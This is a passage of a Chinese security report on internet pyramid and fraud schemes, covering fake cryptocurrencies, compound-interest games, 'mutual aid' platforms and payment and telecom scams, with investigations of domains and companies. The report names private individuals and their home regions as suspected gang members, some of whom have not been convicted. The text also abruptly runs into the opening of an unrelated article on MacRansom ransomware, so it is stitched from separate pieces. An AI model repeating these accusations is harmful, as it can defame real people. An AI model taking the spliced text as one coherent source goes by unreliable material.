其声称自己是与英国Pergame（帕加姆）合作的国内知名游戏公司，并打着“让用户在游戏中学习理财”、“走向财富自由”等具备诱惑性的口号，自2016年起开发若干款“英伦”系列游戏，在其中建立复利拆分盘，并在运营一年以后的2017年迅速撤盘（该团伙称之为“圆满结束”，使得数以万计的用户在游戏中“不知不觉”遭受其传销诈骗，不仅未能拿到预期的收益，本金也无法返回。
图3-2-3 “英伦”系列游戏受害者试图使用互联网公开维权
###### 3.2.1.2 作案方式
正如3.2章节中提到有关“复利返佣游戏”的大体描述，“英伦”系列游戏从最初以“富丽果”应用身份融合早期“农场偷菜”类游戏玩法与“复利拆分盘”的传销诈骗手法，配以对一般用户极具诱惑力的“空手赚大钱”文案，以及“上线”组成的“精英战队（实则是传销诈骗团伙核心营销团队）”进行有力推广，直到2017年初游戏改名为“皮皮果”、“英伦果”，并推出“英伦果商城”、“英伦斗地主”、“英伦果大厦”等基于“英伦果”这一虚拟“股权”或“虚拟币”的系列游戏及应用，其实质上并未有诈骗手法上的变化，均是以其运作团伙创建的虚拟“股权”或“虚拟币”（即系列游戏中的“苹果”）为载体与核心，利用一般用户对“玩游戏赚大钱”、“空手赚大钱”的期许与这一群体对“复利盘”、“拆分盘”的欠缺了解进行传销诈骗行为。
性质恶劣的是，据互联网公开情报显示，在该团伙以“英伦游戏”行骗得手并卷款撤盘之后一段时间，又改头换面注册了新公司，并发布“梦果成真”游戏，试图创建一个新的复利拆分盘，以其一贯的“游戏中学习理财”口号引导、吸引下一批受害者上钩。
并且，“梦果成真”游戏及其运作公司“上海梦果成真网络科技有限公司”直至2017年底仍然在我国互联网保持活跃，其恶劣的诈骗行为并未遭到任何形式的打击及查处，在我国互联网及一部分网民群体中造成了极其恶劣的影响。
根据该团伙开发核心游戏“皮皮果”的玩法说明，注册“皮皮果”会员需要330元人民币，其中30元是“新玩客”公司管理费，而剩余300元则用作购买300个“苹果”（也即游戏中的虚拟“股权”或“虚拟币”）种到果园里。其声称，玩家每天只需要花两三分钟到果园里“施一次肥”，就可以得到1.5%左右的利息，且利息按照复利计算。但同时，为了达到传销诈骗的目的，其作出了以下规定以促进受害用户发展下线，为其通过传销诈骗行为不法获利带来了极大便利。
* 推荐的新用户加入要从推荐人的“粮仓”扣除330个“苹果”，系统扣除30个，新玩家得到300个；
* 推荐的新用户加入，推荐人得到16个“苹果”；
* 系统每天通过报单总数与用户种植“苹果”的总数来进行产出，产出收益算法是：(当日新报单金额合计)/(所有会员果园苹果数)*(您果园的苹果数)；
* 苹果可以以人民币自由进行交易，出售苹果时，系统扣除10%的手续费。
其通过“入门费”门槛，同时通过对上线获利的算法上进行规定。促使其上线会员发展下线，投资并买入“苹果”，且从结果上来看，受害者及涉及金额并不在少数，故本质上应属于传销诈骗行为在互联网时代的“新型变种”。
###### 3.2.1.3 团伙背景
如3.2.1.1 章节所述，该公司自称为“新玩客网络技术有限公司”，其网站域名为 www.xinwanke.cn
（已无法访问）与pergame.me，同时声称其与所谓的英国Pergame帕加姆游戏公司合作运营整个“英伦”游戏体系。但经国家企业信用信息公示系统查证，并无以“新玩客网络技术有限公司”为实体名称注册的任何形式公司，也即该公司无工商注册信息；其谎称的与英国Pergame公司合作运营也存在夸大、不实等问题，在其宣传渠道的页面中出现过一份《Certificate
of Incorporation of A Private Limited Company》（英国私有有限公司法人证明），如下图左侧部分：
图3-2-5 两份《英国私有有限公司法人证明》对比
但经考证，该证书照片中刻意将证书的颁发时间点进行抹除，该团伙所称的Pergame公司实际在2016年6月21日才在英国威尔士（卡迪夫）注册，晚于该团伙开始开发“英伦”系列游戏的时间节点，但早于该团伙声称与Pergame公司开始合作仅1个月（参见章节3.2.1.1中的时间表）。故我们有理由推测，该团伙所谓的“与英国公司合作”实为自导自演来打消受骗者疑心的伎俩，所提到的Pergame公司成立十分晚，在国际上也无任何知名度，可能只是该团伙在英国以一定资本（最小注册资本为8万英镑，编者按）注册的“皮包公司”。
根据互联网公开情报搜集信息，许多“英伦”系列游戏的受害者对“英伦”系列游戏背后的主导者情况较为了解，进行了适当的披露，并且至2017年底仍然在尝试借助各种法律手段维权，如下图。
图3-2-6 “英伦”系列游戏受害者团体的“维权建议”，活跃于2017年12月27日
因该系列游戏推广交流主要通过邀请制的微信群及App，而App及官网均已下线无法使用，微信群也为无法搜集线索的闭环存在，国家企业信息数据库中也不具备相应名称的企业实体，故可通过公开情报进行考证的信息较为缺乏。
通过对多渠道不同受害者披露的情况进行了解、分析、判别后，安天移动安全情报分析团队认为以下线索较具可信度，可以作为一定程度上的参考：
* “英伦”系列游戏及“梦果成真”公司主导者都为刘镇源，广东揭阳人；
* 刘镇源可能是“广西祥发投资集团有限公司”高管，同时曾因为相关经济案件被记入全国法院“失信被执行人”名单；
* “英伦”系列游戏的核心营销团队包括：郭贝贝（河南济源）、王涛（河南洛阳）、党建平（河南洛阳）、王海丽（河南洛阳）、时光辉（河南郑州）、叶静（河南郑州）、陈慧峰（浙江湖州）、张凯（浙江湖州）、杜玉柱（江苏苏州）、曾国莲（四川广元）等。
#### 3.3 虚拟货币类
当前世界范围公认的虚拟货币，往往指的是“不依靠特定货币机构发行，依据特定算法，通过大量的计算产生，发行总量具备限制，且可能去中心化并无法大量人为制造”的一种“数字货币”。自2009年第一个数字货币概念被提出以来，涌现出的虚拟货币无数，著名的包括比特币、莱特币、以太币等，虽然其不具备完全的一般等价物属性，但因为其“去中心化”、“安全”、“匿名”等声称由技术手段保证的先进属性，也在一些国家和行业被逐渐接受，并拥有与美金、人民币等法币的兑换“汇率”，甚至一度走高。
但此处传销诈骗行为语境下的“虚拟货币”，则完全不能混为一谈。这种“虚拟货币”，更类似于章节3.2中所述复利拆分盘涉及的“股权”及相关诈骗游戏中的“虚拟道具”。之所以在这种语境下出现“虚拟货币”的概念，主要由于当前市面上可能带来暴利的各种虚拟货币遭到火热炒作，与虚拟货币相关的任意概念都较易使得普通用户失去理性，故各色传销诈骗团伙即将复利拆分盘的“旧诈骗套路”与“虚拟货币”概念进行混淆融合及高端包装，将实质上是毫无价值的“股权”及“虚拟道具”改换成虚拟货币的名头，以精心编纂的文案进行推广，吸引没有辨别能力及风险防范能力的受害用户；也与复利返佣游戏的惯用套路相似，待到现金池具备一定量后，传销诈骗团伙（即庄家）就会撤盘并卷走现金池，使得受害的投资者不仅拿不到许诺的利益，而且血本无归。
根据安天移动安全情报分析团队总结，虚拟货币类传销诈骗一般具备以下两种特点：
* 以虚拟货币作为幌子的复利拆分盘玩法简易，操作傻瓜。从互联网渠道获知的受害者“维权”信息中了解到，此类骗局受骗者中包括大量老年人。
* 以“虚拟货币”、挖矿作为卖点。这种混淆概念的操作模式，钻了普通民众对于虚拟货币并不了解的空子，将团伙自己创建的复利拆分盘包装成虚拟货币，诱使更多受害者上当受骗。
##### 3.3.1 莱汇币 (已破案)
图3-3-1 莱汇币传销诈骗受害用户微博截图
莱汇币即是典型的，伪装为虚拟货币的“复利盘”案例。2016年8月，潜逃的犯罪嫌疑人才雄（齐齐哈尔人）被抓获，此时莱汇币这一涉及传销诈骗的“复利盘”涉案金额已经超过500万元。
莱汇币“发行”之初，才雄通过各种手段宣传，许诺只要在他的莱汇币项目中投资一万元，此后受害人即可无限期地每日从中提现120元，不足三个月便可回本，此后每天提出的120元都是收益回报；同时，其在宣传文案中这样写道，“获取到自己的推广地址……只要有人认证了，你就可以得到1000个矿工！邀请50个人认证后你就有5万个矿工。需要坚持7个月左右，到时候就可以每天提现了”，以“发展下线带来高回报”诱使用户推荐莱特币下线加入。可事实上，才雄仅仅是将非法集资得来钱款的一部分用于支付前面投资人的利息，很大一部分则保留在现金池中，直到其2016年6月1日关闭网站，卷现金池潜逃。
##### 3.3.2 维卡币 (部分破案)
维卡币也是近年来“虚拟货币类”传销诈骗的一个典型案例。“维卡币”传销组织系境外向中国境内推广虚拟货币的组织，传销网站及营销模式由保加利亚人鲁娅组织建立，服务器设立在丹麦的哥本哈根境内，对外宣称是继“比特币”之后的第二代加密电子货币。
下表中，将“维卡币”与公认的世界首个虚拟货币“比特币”进行属性对比，不难发现，其实“维卡币”并不是真实的虚拟货币，而只是传销诈骗过程中所利用的工具：
表3-3-2-1 “维卡币”与“比特币”特性对比
其同样是利用了大众对“虚拟货币”概念的了解空白，将虚拟货币与复利拆分盘混为一谈：声称“投资36万元，半年就能变成4100万元，而且不需要任何办公条件，只要一台电脑就可以在家中坐等收钱”，要求参加者缴纳一定费用获得加入资格，并按照一定顺序组成层级，以直接或间接发展人员数量作为计酬和返利依据，将上述计酬和返利以分期支付方法进行发放，以高额返利为诱饵，引诱参加者继续发展他人参加而骗取财物。
在线上，其由国内核心“上线”组织通过微信、贴吧等多个知名线上平台进行渠道推广的同时，也在广东、湖南、辽宁等多省进行大规模的线下“推广”。由于“维卡币”在国内一度造成较大社会、经济秩序的不良影响，且行为明显涉及传销诈骗。2017年广东省“飓风行动”及2017年中湖南长沙的相关专项打击活动中即针对相关国内团伙进行了打击，并收到一定成效（2017年9月，涉案16亿元人民币的湖南“维卡币”传销诈骗案宣判，35人获刑），但由于其核心组织成员及平台服务器均位于境外，进行彻底的打击可能具备一定难度。
图3-3-2-2 完全杜撰的“维卡币”传销诈骗境外团伙创始人介绍
##### 3.3.3 高通币
###### 3.3.3.1 现象
近几个月，互联网上又出现一种声称基于“区块链技术”的虚拟货币，该传销团伙声称，“高通币”是由数字货币爱好者发起组建的Gotone
Coin（高通币）团队研发并运营的一款加密数字货币，“基于全球最受瞩目的区块链技术，将最领先的科技与实体互联网应用相结合：共享CDN模式先驱带宽资源与数字资产完美结合”，但其实质一如章节3.3中所提到的，为复利拆分盘骗局的“互联网化”新变种。
###### 3.3.3.2 作案方式
“高通币”传销诈骗团伙设计了“高通币”的相关交易平台、体系及“挖矿”规则。其声称，通过平台注册激活“送一台价值1500元矿机”，购买一台1500元的矿机送520个“高通币”，而云端服务器会实现24小时自动挖矿。同时，其具备符合传销特质的推荐人制度：
* 直接邀请一名好友加入，用户“矿机”的产能将增加8%；
* 好友邀请一名他的好友，用户“矿机”产能将增加3%；
* 其好友再邀请一名好友加入，用户“矿机”产能将增加1%。
从行为上来看，其已经涉嫌违法国务院《禁止传销条例》；而从其该传销诈骗团伙对于该“虚拟货币”的规则设定行文、各类宣传文案及官方网站的编写、制作来看，也都不难发现存在十分粗糙之处，缺乏严肃性的同时也令人对其诈骗团伙伪装的有效性、诈骗行为的受害面产生怀疑，例如：
* 下图所示其“后台控制面板”，用了“第1世纪全球矿石包”等显得十分随意的设定表述；
* 另一截图中其平台公告，可以发现其行文十分口语化且随意；
* 官方网站 <http://cn.gtc.la> 使用了通用的建站模板，并未作任何内容修改；
* 交易平台 <http://www.gtc666.com/Home/Index/index.html> 则简单伪装为某公司后台，且后台制作简陋。
图3-3-3-1 “高通币”管理后台
图3-3-3-2 行文口语化且随意的“官方公告”
在其“管理后台”中，还存在“实名认证”机制，需要受害者提供证件照片、身份证号、银行卡号等重要信息，可能造成用户隐私直接泄露，继而导致不明确的金融风险，如下图。
图3-3-3-3 “高通币”后台实名认证涉及隐私二次泄露
###### 3.3.3.3 团伙背景
针对“高通币”并无明确公司实体存在的状况，安天移动安全情报分析团队从其涉及的域名基础设施入手，试图挖掘其团伙背景。
其官方域名gtc666.com的Whois域名信息显示，其归属注册人为Huang Xu，注册E-Mail为[email protected]，如下图。
图3-3-3-4 gtc666.com Whois 域名信息
在互联网公开情报中挖掘该域名相关信息，发现该域名是在国内某域名交易网站成功交易的“免备案域名”，即已有备案信息的合法域名过期注销后，由域名代理抢注并以“免备案即可使用”名头出售的。该域名的原备案公司即gtc666.com后台标题中伪装的“北京国泰彩信息科技有限公司”，应与该传销组织无关。
图3-3-3-5 国内某域名交易网站gtc666.com的交易记录
通过同E-Mail地址挖掘，发现Huang Xu还注册了另一域名8gtc.com，该域名显示页面同样只是一个模板经过简单修改为“GTC网络”。
对其后台（即交易平台）登陆界面进行代码查看，发现该团伙号称“停止注册”仅仅是在页面中使用了 将注册链接屏蔽，显得技术较为薄弱。
图3-3-3-6 “高通币”后台的停止注册屏蔽方法
从其报错信息也可以发现，该团伙声称具备诸多功能，涉及矿机、云计算、带宽分配等多项庞大底层功能的系统只是基于ThinkPHP与虚拟主机构建的，属于彻头彻尾的骗局。
图3-3-3-7 “高通币”后台错误信息
通过“高通币”首页下方的ICP备案号“豫ICP备14004807号”进行相关信息查询，可发现8gtc.com的备案网站名称与8gtc.com首页标题相同，而8gtc.com也为“高通币”传销诈骗团伙实际控制，备案人姓名为易晓梅（河南省），应为经过权威部门校验的真实信息，应为“高通币”传销诈骗团伙的重要成员之一。
图3-3-3-8 8gtc.com工信部备案信息
#### 3.4 金融互助类
这种模式与3.2中所提及的复利拆分盘具备一定相似度，实质上仍然是以“资金池”开设复利盘，但一般“金融互助”的传销诈骗组织声称，其行为是通过为他人提供资金帮助而获得回报，通过“慈善帮助”的概念，能够使获得收益的用户不断的为某一“互助”资金池投资，保证互助系统正常运转，且兑现收益后可使用利息复投或者本息一起复投。但这种行为本质上与早年的MMM金融互助组织（俄罗斯人谢尔盖·马夫罗季最先创立的传销诈骗模式）并无区别，属于明确具备传销性质的金融诈骗行为。
图3-4-1 “MMM中国金融互助”传销诈骗网站首页
由于调查取证的不便，当前从宏观层面整治互联网金融互助的传销骗局尚存在一定难度；但也应当看到，这种毫无新意的骗局并不难以识破，受害者对于暴利收益的贪欲，也是此类骗局不断涌现、长期存在的重要因素。
据安天移动安全情报分析团队分析总结，金融互助类传销诈骗活动往往具备以下共性特点：
* 以“人与人之间的帮助”为宣传核心，降低受害者戒心，同时促使受害者发展下线；
* 需要花费一定金额购买“注册激活码”或“会员资格”入门；
* 投资频率、投资金额与返佣直接挂钩，适用于“上线”及其“下线”；
* 利率及收益率往往较高，不仅超过法律规定，更违反常理，如某国内WPP传销诈骗案中其声称月收益率高达45%。
##### 3.4.1 人人公益 (已破案)
人人公益是一个名义上借助慈善活动造势，但实际通过购买“爱心”“拉人头”获返利等诱骗方式组织、领导传销犯罪活动的平台。该团伙2017年3月被捣毁时，自我粉饰为“一家‘互联网+公益+奖励’的平台公司……链接衣、食、住、行、教育、购物、旅游、医疗、娱乐等各大行业”。
“人人公益”宣扬一种消费奖励模式，消费者（称为公益天使）在平台上注册后，在注册的“公益联盟商家”消费就可以拿到返利；同时，该公司的业务员为拉客，故意露出“破绽”，诱导客户以商家和消费者的身份同时进驻。这样，不需真正消费，就可实现返利，消费多少全凭商家录入系统，在该平台上其实不存在任何真实交易，而高额返利其实就是用后加入的人的投资来返利给先加入者，实质上还是属于庞氏骗局的一种。
同时，为了扩大传销活动的影响面，该平台还设计了多个合伙人级别，上级可以从下级提成，一层一层剥削，形成清晰的传销架构。该公司宣称每获利100元，拿出1元做公益，但在办案过程中经警方核实，所谓的公益项目全是虚构的“幌子”。其实际业务只有空对空的传销业务。
值得注意的是，相比其他精于对内的传销诈骗组织，“人人公益”团伙不仅专门设计了官方网站、开发了App与微信公众号，还设有企划部、新媒体运营及
“段子手”等职位，以段子的方式来进行其组织宣传，以扩大影响力，便于发展会员；就案件过程中反映出来的受害者数量及涉及金额来看，此种做法确实起到一定成效。这也给一般用户及相关行业用户敲响一记警钟，即当前传销诈骗组织已不仅仅擅长于粗暴地“洗脑”、“概念灌输”，而可能结合一些巧妙的媒体运营方式来进行具备诱惑性的宣传，诱使受害者上当受骗。
#### 3.5 支付及理财类
支付工具及互联网理财，作为用户使用移动端设备或通过互联网直接发生的金融活动，一直以来都是各类诈骗行为、病毒木马的觊觎；而作为直接对金钱（法币）数额及稳定性产生影响的应用App，支付工具及理财App往往具备以极小的额外利润驱使用户去实施某样行为的能力，其最典型则可体现在各类“羊毛党”及“红包党”两类人群身上。
传销诈骗语境下的支付及理财类App，正如上一段文字所述，利用的即是用户往往不具备底线的“逐利”心理，利用“推广分润”、“发展下线分润”、“购买理财产品分润”、“平台购物全返”等充满诱惑性的业务功能诱使用户加入平台，发展下线。
借助支付及理财相关业务开展传销诈骗活动的平台，往往具备以下特点：
* 推广业务过程中，进行无限层级分润（佣金返还）；
* 存在“大额返现”、“全额返现”等不切实际的承诺；
* 往往不具备应有的第三方支付牌照，或声称拍照与企业实体不符；
* 往往同时涉及非法信用卡套现等“金融毒瘤”业务。
##### 3.5.1 信掌柜
###### 3.5.1.1 现象
图3-5-1 “信掌柜”推广海报，其上具有“天下谷集团”字样
“信掌柜”是一款由深圳市天下谷电子商务有限公司开发的第三方非银行支付平台。其声称具备聚合支付的主要功能，能够实现刷卡支付、清算、转账等第三方支付软件功能，并能够借助软件平台辅助客户管理维护其信用（实际反映为黑户下卡、提额、套现、贷款下款等）。
2017年6月，国家互联网金融安全技术专家委员会曾发布《“全国互联网金融阳光计划”第三周对投资者声音的反馈》。公告表明，“信掌柜”宣传其开展第三方支付业务及相关产品，但其经营主体（深圳市天下谷电子商务有限公司）第三方支付资质存疑，该平台涉嫌无资质开展第三方支付业务；且根据长期以来“信掌柜”受害用户的反馈汇总，不仅其存在交易金额无限分润的情况，其加盟商户的各层级（大于3级）中也存在层级推广，且按照下线层数及个数进行返佣的情况，本身也存在属于传销诈骗行为的较大可能。
同时，该公司经营过程中还涉及与持牌第三方支付公司“广州合利宝支付科技有限公司”及“北京恒信通电信服务有限公司”勾结，为其最终客户提供公用事业支付通道套现，虽不属于传销诈骗范畴，但也属于其业务开展过程中存在的问题，故此一并指出。
###### 3.5.1.2 作案方式
“信掌柜”在推广过程中，采取了无限层级的“合伙人（也即下线或营销层级）”，以及与之相应的无限层级“交易分润”及“下线返佣”两种模式，如下所述：
“下线无限层级返佣”模式：
* 一级合伙人发展二级合伙人，一级合伙人获利5000元；
* 二级合伙人发展三级合伙人，一级合伙人获利4000元；
* 以此类推往下发展的所有层层级，一级合伙人都可获利4000元。
“交易无限层级分润”模式：
* 二级合伙人刷卡费率为万分之十，以及合伙人获分润的20%；
* 三级合伙人刷卡，二级合伙人获分润的20%，以此类推；
* 一级合伙人能获二级合伙人所有下线刷卡万分之五的利润；
* 二级合伙人能获三级合伙人所有下线刷卡万分之五的利润，以此类推。
事实上，作为第三方支付工具而言，无论出于何种目的，设立以发展下线为目的的推广政策都存在潜在的较大风险，较易导致其失去本身作为第三方支付工具的存在意义及价值；而在推广体系中允许“无限层级”的下线，以及官方设立无限层级的“分润”、“返佣”，则更是直接从性质上点出了其有很大可能涉及传销诈骗行为。
###### 3.5.1.3 团伙背景
根据互联网公开情报搜集及对其官方网站 <http://www.xinzhanggui.net>
历史页面（现已无法访问）的检索及挖掘结果，安天移动安全情报分析团队发现除“深圳市天下谷电子商务有限公司”之外，还存在以下企业与“信掌柜”具备联系：
* 河南信掌柜科技发展有限公司
* 河南天下谷科技有限公司
* 河南天下谷企业管理咨询有限公司
其中，“深圳市天下谷电子商务有限公司”官方网站为 <http://www.txguu.cn>
，法人为张富强，公司注册地址为深圳市福田区沙头街道泰然七路车公庙工业区206栋东座3层378，公司注册时间为2013年7月29日；
“河南信掌柜科技发展有限公司”与“深圳市天下谷电子商务有限公司”官方网站相同，法人为雷波，公司注册地址为河南自贸试验区郑州片区（郑东）金水东路33号美盛中心1701号，公司注册时间为2016年8月2日；
“河南天下谷科技有限公司”与“深圳市天下谷电子商务有限公司”官方网站相同，法人为梁珠山，公司注册地址为郑州市郑东新区金水东路33号美盛中心1701号，公司注册时间为2016年7月21日。
“河南天下谷企业管理咨询有限公司”官方网站为 <http://www.txgpay.com>
，法人为范朋鸽，公司注册地址为郑州市郑东新区金水东路南、农业东路西1号楼17层1701号，公司注册时间为2015年1月29日。
上述若干公司实体之间，雷波同时担任了“深圳天下谷”与“河南信掌柜”的高管职务；而范鹏鸽（范朋鸽）则担任了“河南信掌柜”、“河南天下谷”的管理职位，同时与“张富强”一起担任“河南天下谷企业咨询”的管理职位。
对天下谷系列企业的官方网站域名txguu.cn进行Whois域名信息查询，结果如下图，发现txguu.cn的归属人为梁珠山，而这一域名是上述企业几乎共用的官方网站域名，应属于系列公司的核心对外门户：
图3-5-2 txguu.cn域名Whois信息查询截图
同时，对“河南天下谷企业管理咨询有限公司”官方网站域名txgpay.com进行Whois域名信息查询，发现其归属人也为Liang Zhu
Shan（梁珠山），如下图：
图3-5-3 txgpay.com 域名Whois信息查询截图
故此，鉴于如章节3.5.1.2中所述“信掌柜”平台的运作模式，若判断其为传销诈骗行为，则其团伙核心成员必然由雷波、范鹏鸽（范朋鸽）、张富强及梁珠山四人构成（可能包含其他成员）。
#### 3.6 电信业务类
电信业务作为各类诈骗事件大多涉及的一项元素，在传销诈骗类犯罪活动的语境内，往往作为一项“幌子”而存在，披着电信分销或“企业电话”等运营商业务的名头，行传销诈骗之实；虽然有时传销诈骗组织也会实际为受害者提供一定的电信业务（免费拨打、免费短信等，如章节3.6.1中“芸生仙子”案例与3.1.1.3中的“优畅神讯”网络电话），但往往不具备稳定性或可用性，且本身电信类业务根据商务部，工商总局2016年第7号文《关于直销产品范围的公告》，并不包含在规定合法的6类直销产品中。
这一类传销诈骗一般具备以下几类特点：
* 声称自己资质齐全、能力雄厚，与移动电信联通紧密合作推出业务，甚至称自己是“第四大运营商”；
* 对加入的受害者收取“入门费”，同时以一定返佣政策促使其发展下线；
* 网站及域名数量繁多，大多未经备案；
* 往往不具备正规公司实体，同样也不具备ICP经营许可证。
##### 3.6.1 芸生仙子/国通通讯
###### 3.6.1.1 现象
自2015年起，一家名为“国通通讯”的企业以网络电话为名，在我国国内实际开展传销诈骗活动。
图3-6-1 国通通讯宣传单页及实体店铺
该公司宣传称加入会员后，能够实现“长途市话免费打”，但实际受害者反馈，只几天后便无法使用，但入门“会员费”及各级会员的“升级费”同样不予退还，是典型的利用通讯软件为幌子骗取入门费及会员费的行为，属于较为明显的互联网新型“电信业务类”传销诈骗。但值得一提的是，自2015年底至今，虽然其承载业务的App“国网今来”及“芸生仙子”均已下线无法使用，且“国通通讯”传销诈骗组织在国内遭到多次专项打击，但媒体报道、相关受害者维权的消息以及线上活跃的推广组织仍然络绎不绝，显得该诈骗团伙有“屡禁不止”的态势。
图3-6-2 国通通讯线上推广渠道至今仍然活跃（QQ群截图）
###### 3.6.1.2 作案方式
“国通通讯”在推广过程中，结合了线上、线下渠道的推广方式，尤其针对中老年人，谎称自己为“中国第四大电信运营商”，以“国”字头公司名称骗取防范心较弱用户群体的信任，继而诱骗其缴纳“入门费”，成为其用户。
在层级的设立上，“国通通讯”传销诈骗组织巧立名目，吸引用户分别交纳200元、1000 元、5000
元、10000元，成为相对应的文字版、语音版、视频版、商城版客户；其中语音版、视频版、商城版的客户可获得发展其他人员加入的资格。而该经营模式的返佣模式，则对一般用户具备较大吸引力：
* 语音版和视频版客户端客户从其直接发展的人员交费中提取30%作为佣金；
* （最初）商城版客户端从其直接发展的人员交费中提取30%作为佣金，并仍可从其直接发展人员所发展的人员交纳费用中提取5%作为报酬。
据2016年下旬相关受害者所反馈的信息，发展新会员加入“国通通讯”，其上线仍然可获得28%返佣，并且让新会员填写业务受理单还可再获得5%返佣。这种返佣推广高于其具体业务本身的模式，即使其设计之初目的并不是传销，也极易在多层级的推广中演化为传销诈骗行为，遑论“国通通讯”运营公司本身就是经过定性的传销诈骗组织。
其中，可能考虑到“国通通讯”其企业实体并不具备直销资质，在开展传销诈骗活动的过程中，其也与海南一家名为“芸生（海南）健康产业有限公司”的企业建立了租借直销牌照的合作关系，同样遭到媒体屡次曝光。
图3-6-3 国通通讯租借芸生直销牌照相关报道
###### 3.6.1.3 团伙背景
根据互联网公开情报检索分析，安天移动安全情报分析团队发现，“国通通讯”运营公司实体的全称为“南京国通通讯科技有限公司”。通过国家企业信用信息公示系统进行查询，可发现该公司法人为张以众，公司注册地址为南京市浦口区大桥北路1号华侨银座1502室，公司成立于2013年9月3日。通过对法人张以众名下的公司进行挖掘，我们能够得到其与“国通通讯”相关公司的关系，如下图：
图3-6-4 张以众名下公司关系图（部分）
由图及其他外部信息进一步挖掘分析可知，张以众除了具备“南京国通通讯科技有限公司”法人身份之外，还在以下公司担任高管职位（包括但不限于）：
* 国通通讯科技有限公司
* 北京国网今来国通科技有限公司
* 北京国网今来科技有限公司
* 山东国通通讯设备有限公司
* 江苏国通国际大酒店有限公司
* 江苏国通梦想岛游乐园有限公司
* 宿迁国通之声文化传媒有限公司
* 海南芸生国通电子商务有限公司
鉴于以上公司都具备“国通”关键词，与“国通通讯”这一传销诈骗平台具备高度相关可能，且上述公司至成文时（2017年12月底）仍保持良好存续、开业状态，能够得出“‘国通通讯’传销诈骗组织很大可能未被彻底捣毁，其背后控制者亦未受到应有处理”的结论。
### 总结
根据上述对本年度国内移动端传销及组织诈骗类活动的整体威胁态势分析，以及对各传销诈骗行为的名义业务类型的典型分析结果，不难发现，尽管近年来公安机关及相关政府部门不断加大对各类传销行为，尤其是涉及互联网的新式传销诈骗行为进行打击整顿，但每年仍有大量受害用户遭受数字总和惊人的各色互联网传销骗局。与此同时，传销诈骗团伙的诈骗手段亦在不断升级，不仅将传统基于商品的传销手法照搬到了互联网上，更是融合了近年来诸如虚拟货币、手机游戏、在线兼职、“微商”等容易使一般用户产生兴趣继而毫无戒心上当受骗的领域。
然而，即便诈骗手法在变，诈骗场景在变，万变不离其宗的是这些行为的传销本质。本报告的目的也即是如此，希望本着安天一贯的社会责任价值观，通过对当前不同类别的互联网传销诈骗行为，尤其是移动端互联网传销诈骗行为进行分类深层次剖析，使得其根本的传销行为核心能够通过相关报告章节，更完备地呈现在用户及相关行业客户面前。
正所谓“不知其攻，焉知其防”，对于一般用户来说，只有对这些较为新型的诈骗手段具备理性及感性认识，才能够在遭遇此类诈骗事件时具备辨别能力；而对于行业客户来说，对当前可能或已经构成既成传销诈骗类犯罪案件的组织、个人及其行为表象、运作模式等各细节方面深入了解，不仅对业务上可能起到直接且可观的帮助，也有助于提高实际业务人员对于类似的，本报告中未提及或之后新兴出现的传销诈骗手段的敏感度，起到“知己知彼，料敌先机”的作用。
### 附录
##### 附录1：名词解释
庞氏骗局：Ponzi
scheme，一种非法性质的层压式推销，其最著名的、成熟的代表案例发生于20世纪初的美国，而各种类似变体至今依旧存在世界各国金融市场中。其运作模式为参与者要先付一笔钱作为入会代价，而先前投资者所赚的钱是来自其他新加入的参加者（“下线”），而非公司本身透过业务所赚的钱。初期通常在短时间内获得回报以利于推行，再逐渐拉长还款时间。随着更多人加入，资金流入不足支出，当现金总量庞大时尚不足以崩溃，甚至也可以正常投资事业来持续运作，但直到骗局泡沫爆破时，最下线的大量投资者便会蒙受金钱损失。
“传销”：我国境内一般语境下的“传销”行为往往具备庞氏骗局（Ponzi
Scheme）的特征，事实上属于一种诈骗行为，具体指组织者或者经营者发展人员，通过对被发展人员以其直接或者间接发展的人员数量或者销售业绩为依据计算和给付报酬，或者要求被发展人员以交纳一定费用为条件取得加入资格。随着更多人加入，“传销”组织的资金流入必然不足以供给支出，导致其骗局泡沫破灭。这不仅给处于“下线”的大量受害投资者带来往往难以估量的金钱损失，也对维持社会道德风尚、政治经济秩序稳定带来极大负面影响。
“北派传销”：北派传销属于非法传销活动的一种，由于最初在东北一带发源而得名。其往往打着“直销”、“网络营销”、“人际网络”等旗号，属于低端传销，上当受骗的人年龄往往较小，20岁左右的年轻人居多，毕业或者未毕业的大学生占有很大的比例。其主要特征是异地邀约，吃大锅饭、睡地铺，集中上课，以磨砺意志为假象，条件比较艰苦。有的组织有控制手机、非法拘禁等限制自由的情况；其以“三商法”、“五级三阶制”等为制度，需要缴纳一定金额的上线款；一般假冒一家公司，以卖化妆品或者保健品为名，实际上产品只是一个道具，都是一些三无产品或根本无产品，且传销组织名称比较杂乱。近年来，北派传销受南派“资本运作”高端传销影响，洗脑手段升级，传销理论向南派学习，投资金额也越来越大。
“南派传销”：南派传销属于非法传销活动的一种，由于发源地最初在广西来宾、玉林、南宁、北海一带，且与传统“北派传销”手法及诈骗金额等多方面往往大相径庭而得名。其一般声称自己为“连锁销售”、“自愿连锁经营业”、“纯资本运作”、“商会商务运作”、“民间互助理财”等旗号，属于异地传销的升级版，参与者以三四十岁有独立经济能力的人为主，往往许多具备身份地位的受害者亦深陷其中。其运作的主要特征是以考察项目、包工程、旅游探亲为名把新人骗到外地，然后以串门拜访为由一对一洗脑，打着“西部开发”、“北部湾开发”、“中部崛起”的旗号，以“国家项目”、“国家暗中支持”为幌子，传销理论更完善，更具欺骗性与迷惑性。近年来，其由最初的“连锁销售”挂靠一家虚拟的公司卖产品为名，到“纯资本运作”打着“虚拟经济”的旗号而不讲公司和产品，使得南派传销的受害者经济损失较过去更为大。
##### 附录2：各省份传销活动严重程度一览表
注：本表标注情况为根据互联网信息及公开新闻资讯综合统计而成的定性数据，相关领域并无权威定性/定量数据，且本表也不能作为任何形式研究的辅助及参考，敬请留意。
* * * | 社区文章 |
# 【技术分享】针对勒索软件MacRansom的分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[myswsun](http://bobao.360.cn/member/contribute?uid=2773429458)
预估稿费：180RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 前言**
很多Mac用户可能认为他们的电脑能在类似勒索软件的攻击中幸免，认为他们的系统是相对安全的。Mac用户相对于Windows用户来说确实攻击比较少，但是这个和操作系统漏洞级别无关。事实上主要由于90%的个人用户使用Windows，而只有6%使用Mac。
**0x01 MacRansom 网站**
最近，我们的FortiGuard实验室发现了Ransomware-as-a-service
(RaaS)，其在TOR网络中使用一个web入口成为现今的一个趋势。然而，这种情况下，看到Windows以外的网络攻击是有趣的。这还是第一次在Mac
OS上面看到RaaS。
